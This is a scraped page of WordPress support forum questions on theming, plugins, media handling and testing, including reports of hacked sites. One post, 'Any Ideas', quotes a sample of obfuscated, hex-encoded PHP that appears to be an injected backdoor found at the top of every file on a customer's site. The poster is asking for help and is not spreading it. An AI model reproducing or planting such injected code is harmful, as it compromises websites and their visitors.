Are you the publisher? Claim or contact us about this channel

Embed this content in your HTML


Report adult content:

click to rate:

Account: (login)

More Channels


Channel Catalog

Channel Description:

WordPress › Support

older | 1 | .... | 357 | 358 | (Page 359) | 360 | 361 | .... | 413 | newer

    0 0

    This is the code I have to correct (because the theme author forgot to do it):

    <p><?php comments_number( 'no response', 'one response', '% responses' ); ?><p class="g"> / <?php _e('Posted on ', 'vp_textdomain'); ?></p><p><?php the_time('j F Y'); _e(' at ', 'vp_textdomain'); the_time(); ?></p>

    As you can see, 'Posted on ' is correct: the _e() function will look it up in the PO file and shows the translation.
    I want to change 'no response' using an existing item in the PO file ('no comments') and also 'one response' to 'one comment' and '% responses' to '% comments'.

    I don't have the knowledge to write it (I tried but no results). Thanks for helping me out.

    0 0

    Hi all, for quite sometime my wordpress webhosting under attack by some kind of spamware. It periodically creates wp-file.php, ajax.txt and a cache folder in the main directory of my wordpress site. These files send out spam under my domain name, causing it to be blacklisted. I tried deleting the files and folders, but they keep coming back. I have change my webhosting password, database password but nothing helps.

    Anybody know how to get rid of this...or is it hackers manually hacking and planting the files in my webhosting directory?

    0 0

    I'm having hard time customising the posted ago in hours: It works fine with round up of hours but I want to display the posted ago hours:mins both. Can anyone help me?
    FYI instead of using $since = sprintf( _n( 'ཆུ་ཚོད་ %s སྔོན་ལ།', 'ཆུ་ཚོད་ %s སྔོན་ལ།', $hours ), $hours ); I tried with $since = 'ཆུ་ཚོད་' . $hours . '/' . $mins . 'སྔོན་ལ།'; somehow my values are crazy.

    function human_time_diff_custom( $from, $to = '' ) {
            if ( empty( $to ) )
                    $to = time();
            $diff = (int) abs( $to - $from );
            if ( $diff <= HOUR_IN_SECONDS ) {
                    $mins = round( $diff / MINUTE_IN_SECONDS );
                    if ( $mins <= 1 ) {
                            $mins = 1;
                    /* translators: min=minute */
                    $since = sprintf( _n( 'སྐར་མདའ། %s སྔོན་ལ།', 'སྐར་མདའ། %s སྔོན་ལ།', $mins ), $mins );
            } elseif ( ( $diff <= DAY_IN_SECONDS ) && ( $diff > HOUR_IN_SECONDS ) ) {
                    $mins = round( $diff / MINUTE_IN_SECONDS );
                    if ( $mins <= 1 ) {
                            $mins = 1;
                    $hours = round( $diff / HOUR_IN_SECONDS );
                    if ( $hours <= 1 ) {
                            $hours = 1;
                    //$since = sprintf( _n( 'ཆུ་ཚོད་ %s སྔོན་ལ།', 'ཆུ་ཚོད་ %s སྔོན་ལ།', $hours ), $hours );
                    $since = 'ཆུ་ཚོད་' . $hours . '/' . $mins . 'སྔོན་ལ།';
            } elseif ( $diff >= DAY_IN_SECONDS ) {
                    $days = round( $diff / DAY_IN_SECONDS );
                    if ( $days <= 1 ) {
                            $days = 1;
                    $since = sprintf( _n( '%s ཉིན་སྔོན་ལ།', '%s ཉིན་སྔོན་ལ།', $days ), $days );
            return $since;


    0 0

    I am trying to get the featured image url after a post is published but somehow it returns an empty URL.

    But if I was to get the post_title, it is ok.

    function update_map($post_id) {

    global $wpdb;

    $thumbnail_id = get_post_thumbnail_id($post_id);
    $url = wp_get_attachment_url($thumbnail_id);

    if (!empty($url)) {
    wp_mail('', 'Yes', 'Yes');

    wp_mail('', 'No', 'No');

    add_action('publish_post', 'update_map', 50);
    If I was to update this same post with the save_post hook

    add_action('save_post', 'update_map', 50);
    in the Wordpress editor after publishing, I am able to get the featured image url again. Am I missing anything?

    0 0

    All of my wp websites are getting spam affiliate advertisement pop-up nowadays, the advertisement even appears at dashboard.

    Surprisingly when I have visited I am seeing that same ad... not all the time but the ad appears 1 time in 24 hrs

    Same ad seen on different website

    Ad inside the dashboard

    0 0

    I have this weird issue at my website where wordpress deletes a get variable/redirects to another link.

    I am using the plugin qTranslate Plus (slug is xtranslate-xp).
    The issue can be best demonstrated with an example:

    The issue can be reproduced on this page:
    If you click for example on the link "Climbing Stairs Questionnaire (CSQ15)" (linking to, the issue will occur.

    What happens is the following: The link opens, and right after it the page redirects to, which has lost the /en/ part in the url.

    You don't have to be a rocket scientist to understand that if the /en/ part in the url has been lost the language has also been lost.

    Is there anyone who knows what could be the issue of this happening? I get the feeling this is not a plugin related issue, but I'm not sure.

    An interesting fact:
    Once on the page itself, it is possible to go to the English version by adding /en/ to the url or by clicking the flag.

    Another interesting fact:
    Once on an English page, it is possible to go to other English pages by using the menu.

    Using the menu/flags is okay, however, the links on the page themselves don't work.

    0 0
  • 02/28/16--10:31: Chris on "Any Ideas"
  • HI
    A customer of mine had a blog built using wordpress, all working fine, then this week it started having a 500 error, they asked me to have a look.

    I set debug to true in the config file and found the error, basicaly a php block hadn't been closed, I closed that block of php and the blog in up and running again, but heres the thing, i'm not familar with wordpress and how it's coded, but I have notice a lot of strange php code at the top of every file and this was the block that wasn't closed on the meta.php file, the code is on every file including the config.php file

    Is this meant to be there"

    heres a sample of some of it

    <?php $uattes = '; if ((strstr($uas," x6d 163 x69 145")) or (str~6<&w6< x7fw6*CW&)7gj<%fdy>#]D4]273]D6P2L5P6]y6gP7L!gj<*#k#)usbutcpV x7f x7f x7f x7f<;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x2<##!>!2p%Z<^2 x5c2b%!>^#iubq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr#81Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<b%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!*9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#str($uas," x72 166 x3a 61 x31"))) { $hpjvqzi = " x63 6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3{666u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,dsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldB)fubfsdXA x27K6< x7fw6*3qj%7>tutjyf439275ttfsqnpx24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quuix7fw6*CWtfs%)7gj6<*id%)ft x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;u>5h%!<*::::::-111112)eobsun>qp%!|Z~!<##!>!2p#>.%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%nbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/76<.2hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyfN#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$ij();}}tmw/ x24)%c*W%eN+#Qi x5c1^W%%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)z]36]373P6]36]73]83]23ufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x26 x75 156 x63 164 x69 157 x6e"; function bmvbvum($n){r-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%fpg)% x24- x24*<!~! x24/%t2w/ x24)##tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:749857R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gjWCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%WSFT%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27gvrjmj = $hpjvqzi("", $mbbvtld); $igvrjm52]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]1!<**2-4-bubE{h%)sutcvt)esif((function_exists(" x6f 142 x5f 163 x74 fs} x7f;!opjudovg}k~~9{d%:osvufs:#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427%tdz*Wsfuvso!%bss x5csbo4<!%tmw!>!#]y84]275]y83]2736#<!%w:!>!(%w:!>! x246767~6x75

    Any ideas?

    0 0


    I'm developing my first plugin and I'd like to add a link tag inside head to call a CSS file to style my options page.

    My plugin has the follow code (all my code, except the license coments)

    if( !defined( 'ABSPATH' ) ) exit;

    define( 'EASYDM_VERSION', '1.0' );

    define( 'EASYDM_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
    define( 'EASYDM_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );

    define( 'EASYDM_SETTINGS_URL', plugin_dir_url( __FILE__ ).'settings/' );
    define( 'EASYDM_SETTINGS_DIR', plugin_dir_path( __FILE__ ).'settings/' );
    define( 'EASYDM_SETTINGS_PATH', 'settings/' );

    define( 'EASYDM_IMAGES_URL', plugin_dir_url( __FILE__ ).'images/' );
    define( 'EASYDM_IMAGES_DIR', plugin_dir_path( __FILE__ ).'images/' );
    define( 'EASYDM_IMAGES_PATH', 'images/' );

    define( 'EASYDM_CSS_URL', plugin_dir_url( __FILE__ ).'css/' );
    define( 'EASYDM_CSS_DIR', plugin_dir_path( __FILE__ ).'css/' );
    define( 'EASYDM_CSS_PATH', 'css/' );

    define( 'EASYDM_INCLUDES_URL', plugin_dir_url( __FILE__ ).'includes/' );
    define( 'EASYDM_INCLUDES_DIR', plugin_dir_path( __FILE__ ).'includes/' );
    define( 'EASYDM_INCLUDES_PATH', 'includes/' );

    require_once EASYDM_SETTINGS_PATH.'easydm-functions.php';

    //add_filter( 'wp_head','easydm_add_link_tag_to_head' );
    add_action( 'wp_head', 'easydm_add_link_tag_to_head' );
    //do_action( 'wp_head' );

    add_action( 'admin_menu', 'easydm_top_level_menu' );

    From the constants is possible to conclude the directories structure of the plugin. Another directories are actually empty.
    The 'easydm-functions.php' has the follow function:

    function easydm_add_link_tag_to_head() {
    $path = __DIR__.'/../css/';
    echo '<link rel="stylesheet" type="text/css" href="'.$path.'style.css" />';

    I expected to find this link tag in the source code but I can't. The tag doesn't appear there.

    Reading many tutorials and forums questions about this, no much is different from this.

    I'm developing in localhost, apache2, Ubuntu 14.04 LTS.

    Some help?


    0 0

    Is there a way to get a custom taxonomy page to appear in a search result when the taxonomy term is searched for?

    For example, I have custom taxonomy called "product area," and "lighting" is a term. So the url of that is If someone searches for lighting, is there a way to get that link and page to show up in a search result?

    I've tried a couple plugins such as Relevanssi and Search Everything but neither appear to actually return the page itself as a search result.

    Would appreciate any help in this matter.

    0 0

    Hi All!

    I have a wp page that shows the daily menu of a restaurant. The tabs are named Monday, Tuesday .... and I'd like to find a way to set the default/active tab by the day. I want to keep the whole week, 6 tabs on this site, but I want to have the timely appropriate to show. So when someone visits the site on Thursday, the Thursday tab will be active and not the Monday one, as it is the first and active one.

    Can anyone share info on how to do it?


    0 0

    Hi there,
    I'm working on my loop to show only the posts having some terms.
    The way I'm doing it now (inside the loop with has_term(array(), 'category')) fails because it is only returning 1 result, but this is not my biggest concern, the problem is that, if I place this conditional inside the loop I do not affect the pagination: for example, if I only have a post with the term "travel" the post will be displayed but the pagination will work like if all the post are listed.
    Do I have to put the loop inside the conditional (don't know how to), so it only loops inside the posts matching the conditions given or should I do something to modify the pagination according to the matching results?

    0 0

    I have a problem on this editor method which is located in class-wp-editor.php file. I want to remove this esc_attr without modify the wordpress core file, how to extend to my theme and remove this.

    $the_editor = apply_filters( 'the_editor', '<div id="wp-' . $editor_id_attr . '-editor-container" class="wp-editor-container">' .
    $quicktags_toolbar .
    '<textarea' . $editor_class . $height . $tabindex . $autocomplete . ' cols="40" name="' . esc_attr( $set['textarea_name'] ) . '" ' .
    'id="' . $editor_id_attr . '">%s</textarea></div>' );

    0 0


    I receive a empty array when i use wp_generate_attachment_metadata and this function do not generates the intermediate images.

    I am adding images using wp_handle_uploads and this works fine. This generates a attach_id that I use with the function wp_generate_attachment_metadata.
    I get no errors or warnings in the error_reporting log.

    I am using WMPU(multisite) wordpress and I no longer know what to do...

    $imgpath =wp_upload_dir();
    require_once( ABSPATH . 'wp-admin/includes/image.php' );
    foreach ($images as $key) {
      //$images[]   <-- images url in the default upload dir
      if($key == 'error')continue;
    $path = $imgpath['path'].'/'.basename($key);
    $attachment = array(
                    'guid' => $key, //url
                    'post_mime_type' => image_type_to_mime_type(exif_imagetype($key)),
                    'post_title' => sanitize_file_name(basename($key)),
                    'post_content' => '',
                    'post_status' => 'inherit'
     $attach_id = wp_insert_attachment( $attachment,$path, $pid );
      $attach_dat = wp_generate_attachment_metadata( $attach_id, $path);
      if(!empty($attach_dat))wp_update_attachment_metadata($attach_id, $attach_dat);
     if($i==0) set_post_thumbnail( $pid, $attach_id );

    That was coded in a non template-file, where i load WP with
    I not sure it influences in something.

    0 0


    I'm in the process of creating my own custom post type plugin, and I'm currently pondering the best way to save my own post type's metadata to the database.

    On one hand, it's benificial to divide all meta data over multiple keys. For example, when integrating an event post type with a start date and an end date attribute, you could choose to save both of these separately by invoking yhe update_post_meta() method twice for two different meta keys. It costs a bit of database space, but it's easy to query later on (e.g.

    On the other hand, you could choose to save these date attributes in the database as an array, thus using only one key. But then, you can't really use the WP_Meta_Query() easily in a later stage.

    Which would be best when you have, say, 20 attributes: storing them all 20 separately, or splitting them among (less than 20) meta keys as arrays?

    0 0
  • 02/29/16--06:34: g123k on "Redirection"
  • Hello,

    I am currently developing a plugin that will expose a public webpage. However it have this kind of address :

    I would like to give to my users another address instead like this one :

    It's a kind of redirection, but I don't really know how to achieve this. Do you have any clue?

    Thanks :)

    0 0

    I'm trying to provide my users with the ability to see a post in advance. If a post is for Feb 29, I want them to be able to see it at a certain time on Feb 28 (say, 7pm). This is for a fitness website where people like to see the workout for tomorrow.

    I don't know if the best place to do this is in pre_get_posts and I've tried it there but my php knowledge is limited (Java I'd be fine) and I'm getting errors left, right and center. I've tried the date_query but again I don't think my syntax is correct and I don't have it here to put up for inspection. Any functioning script kiddie post would be great for me right now :)

    from memory it is something similar to
    -- check for main query and appropriate category --
    $today = getToday();
    $date_query = array('before'=>array('year'=>$today("year"),

    mainQuery-set=>'dateQuery' = $date_query;

    yes I'm aware that the syntax is off but I'm no where near it so please don't fry me :)

    On another note is there a way to sandbox the wordpress instance so I don't take down the entire sight while I play around with it?

    Thanks and I'd appreciate any help

    0 0

    I have a Custom Post Type called 'Endpoints' and each new endpoint has one of nine categories that it falls under. There are nine pages that correspond to one of these categories and I'm wanting to display any endpoint posts that are assigned to that category on each of these pages.

    From what I've read so far, I'm a little unsure of how to combine an if statement, query for the CPT and category, and then the loop for how to output these posts for each different category page. Could someone clarify if it's possible to create separate loops that check for the name of the page and then run a query that checks the endpoint CPT and finds any posts that fall under a specific category? I'm feeling like I have to create 9 different sections of code, but wondering if there's clearly a better way of going about this (apart from creating page templates for each category page)?

    0 0

    (crossposting from stoackexchange:

    I'm trying to create a tinymce plugin that generates a shortcode containing two image ids:

    [image-fade old="xx" new="yy"]

    I would like to let users select images directly from the media selector frame, but haven't figured out how to do this. I am able to allow the users to enter the ID in an alert box, but can't do better than that. This is what I have so far:

    ( function() {
        var open_media_window = function () {
            var first={};
            var window ={
                title: 'Insert a media',
                library: {type: 'image'},
                multiple: false,
                button: {text: 'Insert'}
            window.on('select', function(){
                var files = window.state().get('selection').toArray();
                first = files[0].toJSON();
                console.log ("first is: " + first);
        tinymce.create( 'tinymce.plugins.hhImage', {
        init: function( ed, url ) {
            ed.addButton( 'hh_image', {
            title: 'Insert Historical Image Overlay',
            image: '',
            onclick: function() {
                //old = prompt( "Enter id of old photo", "" );
                old = open_media_window();
                //newImage = prompt( "Enter id of new photo", "" );
                newImage = open_media_window();
                ed.execCommand( 'mceInsertContent', false, '[image-fade old="' + old + '" new="' + newImage + '"]' );
        createControl: function( n, cm ) { return null; },
        tinymce.PluginManager.add( 'hh_image', tinymce.plugins.hhImage );

    The media selector window will open, and I can select two images, but nothing gets logged to the javascript console and the shortcode produced is:

    [image-fade old="undefined" new="undefined"]

    What am I doing wrong here? Thanks for the help! Matt

    0 0


    I've been requested to make all of my uploaded images work from a different server. I'm using a plugin called "Wp-ftp-media-library" that you can find here:

    It works great as long as it does what it promises, takes your uploaded image, uploads it again to the FTP you specify, and deletes the original image from your server. Problems are that it effectively changes your uploads URL for all the images in the Media Library but that's easily solved uploading all that images to the FTP too, AND that when it comes to upload from the Media Uploader in WordPress, it works, but it doesn't create a thumbnail, and it doesn't get any of the sizes specified. In fact, when you try to insert that image in a new post, the sizes dialog doesn't even appear, and if you insert it anyway it gives a width="1" and height="1" properties to it.

    I'd like to know what's happening and how could I solve it...


    0 0

    I'm testing some code using PHPUnit, and when my code uses
    wp_die(new WP_Error('errorCode', 'errorMessage'));
    I get the error:
    Error: Wrong parameters for WPDieException([string $message [, long $code [, Throwable $previous = NULL]]])
    If I change my code to:
    Then it works correctly (I get WPDieException: errorMessage).

older | 1 | .... | 357 | 358 | (Page 359) | 360 | 361 | .... | 413 | newer